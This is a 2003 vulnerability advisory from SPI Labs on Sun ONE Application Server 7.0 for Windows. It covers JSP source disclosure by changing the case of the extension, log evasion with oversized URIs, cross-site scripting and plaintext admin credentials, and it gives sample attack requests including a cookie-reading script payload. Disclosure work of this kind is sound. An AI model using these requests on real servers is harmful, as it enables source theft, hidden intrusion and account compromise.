The SunONE application server on Windows 2000 suffers from multiple vulnerabilities. The server allows a remote attacker to view the source code of JSPs, only logs the first 4042 characters of a request URI which allows an attacker to hide their attempts in the last 54 characters, has a cross site scripting issue, and has the username and password to the administrative server kept in clear text in a world readable file.
8e810afd7ea6e1de914b7fc988eb5076641d865e4b488deebe6df42e66995334Multiple Vulnerabilities in Sun-One Application Server
-------------------------------------------------------
[Release Date]: May 27, 2003
[System Affected]
* Sun-ONE Application Server 7.0 for Windows 2000/XP
[Description]
During a brief audit of a SunONE Application Server installation
on Windows 2000, SPI Labs discovered a number of vulnerabilities.
Each of the vulnerabilities is described in detail below. The complete
advisory is also available from our website at:
http://www.spidynamics.com/sunone_alert.html.
Issue 1: JSP source code disclosure
Severity: High
-------------------------------------
It is possible to view the source code of JSP applications by changing
the case of the file extension in the HTTP request. The vulnerability
is due to Unix code being ported to the Microsoft Windows platform where
the filesystem is case insensitive. When a request is received, the server
performs a case sensitive check to determine if the request ends in ".jsp".
If it does, the JSP engine will process it. Otherwise, it will see if it
can retrieve the requested resource from the filesystem. On Unix operating
systems, this will fail because of "file.jsp" cannot be opened by asking for
"file.JSP" However, on Windows the file will be returned because the
filesystem
is case insensitive. Below is an example of a normal request/response,
followed
by the same request/response with the case change applied. The headers and
response data have been trimmed for clarity.
[Original request]
GET /hello.jsp HTTP/1.0
[Original response]
HTTP/1.1 200 OK
Server: Sun-ONE-Application-Server/7.0
(more headers)
<html>
<head><title>Hello World JSP Example</title></head>
<body>
<h1>Hello World</h1>
It is Fri March 14 15:29:40 EST 2003 and is a beautiful Spring day.
</body></html>
[Request with case change]
GET /hello.JSP HTTP/1.0
[Response with case change]
HTTP/1.1 200 OK
Server: Sun-ONE-Application-Server/7.0
(more headers)
<html>
<head><title>Hello World JSP Example</title></head>
<body>
<h1>Hello World</h1>
It is <%= new java.util.Date().toString() %> and is a beautiful Spring day.
</body></html>
Issue 2: Log evasion
Severity: Medium
-------------------------------------
Only the first 4042 characters of a request URI are logged, even though the
maximum URI length appears to be 4096 characters. This gives an attacker
54 characters to construct an attack with. Although it is possible that an
administrator would still notice the unusual requests, he or she would be
unable
to determine what files or parameters the attacker would be requesting.
Because
of this, the administrator would not be able to find out what components of
their
system are being exploited. Below is an example request for /hello.jsp, as
well
as the log data. The headers, request and response data have been trimmed
for clarity.
[Request for /hello.jsp]
GET
/AAAAAAAAAAAAAA[ up to 4042 characters]/../hello.jsp HTTP/1.0
[Console message]
WARNING: HTTP4198: flex log buffer overflow- greater than 4096 characters
Server log file
[04/Mar/2003:10:52:05] WARNING ( 1304): HTTP4198: flex log buffer overflow-
greater than 4096 characters
Access log file
172.16.10.47 - - [04/Mar/2003:10:52:04 -0800] "GET
/AAAAAAAAAA[ up to 4042 characters] ...
The name of the file that was accessed does not appear in the logs.
Issue 3: Cross site scripting
Severity: Low
-------------------------------------
If an error occurs while processing a Java application, it may be possible
to
execute cross-site scripting attacks by placing scripted content in the
query
string. Below is an example of a request using a sample application
followed
by the relevant portion of the response.
[Request]
GET /webapps-simple/jsp/source.jsp?<script>alert(document.cookie)</script>
HTTP/1.0
[Response snippet]
Exception Report<br><br>
<b>Message: </b>Internal Server Error<br>
<p>
<b>Exception</b>
<pre>javax.servlet.ServletException: Invalid JSP file
<script>alert(document.cookie)</script>
at
org.apache.jasper.runtime.PageContextImpl.handlePageException(PageContextImp
l.java:471)
at _jasper._jsp._source_jsp._jspService(_source_jsp.java:88)
Issue 4: Incorrect local file permissions and plaintext passwords
Severity: Medium
-------------------------------------
When installing SunONE on Windows 2000 the default installation directory is
C:\sun.
Any file or directory created in this directory will be world-readable. The
"statefile"
located at C:\sun\appserver7\statefile contains a plaintext username and
password to
the administrative server. .
Remediation
-------------------------------------
Sun Microsystems was contacted on the 18th of March 2003 and again on
numerous occasions
without results. We hope that by publishing this information, the vendor
will correct
these problems. Unfortunately, there is no remediation procedure for the
first, second or
third issues. For the last issue, "Incorrect local file permissions and
plaintext passwords"
we recommend that the permissions of the statefile be changed so that only
the administrator
can access it.
[Contact Information]
Contact Information
spilabs@spidynamics.com
SPI Dynamics, Inc.
115 Perimeter Center Place N.E.
suite 270
Atlanta, GA. 30346
Toll-Free Phone: (866) 774-2700
SPI Dynamics was founded in 2000 by a team of accomplished Web security
specialists; SPI Dynamics is
the leader in Web application security technology. With such signature
products as WebInspect, SPI Dynamics
is dedicated to protecting companies' most valuable assets. SPI Dynamics has
created a new breed of
Internet security products for the Web application, the most vulnerable yet
least secure component of
online business infrastructure.
Copyright (c) 2003 SPI Dynamics, Inc. All rights reserved worldwide.
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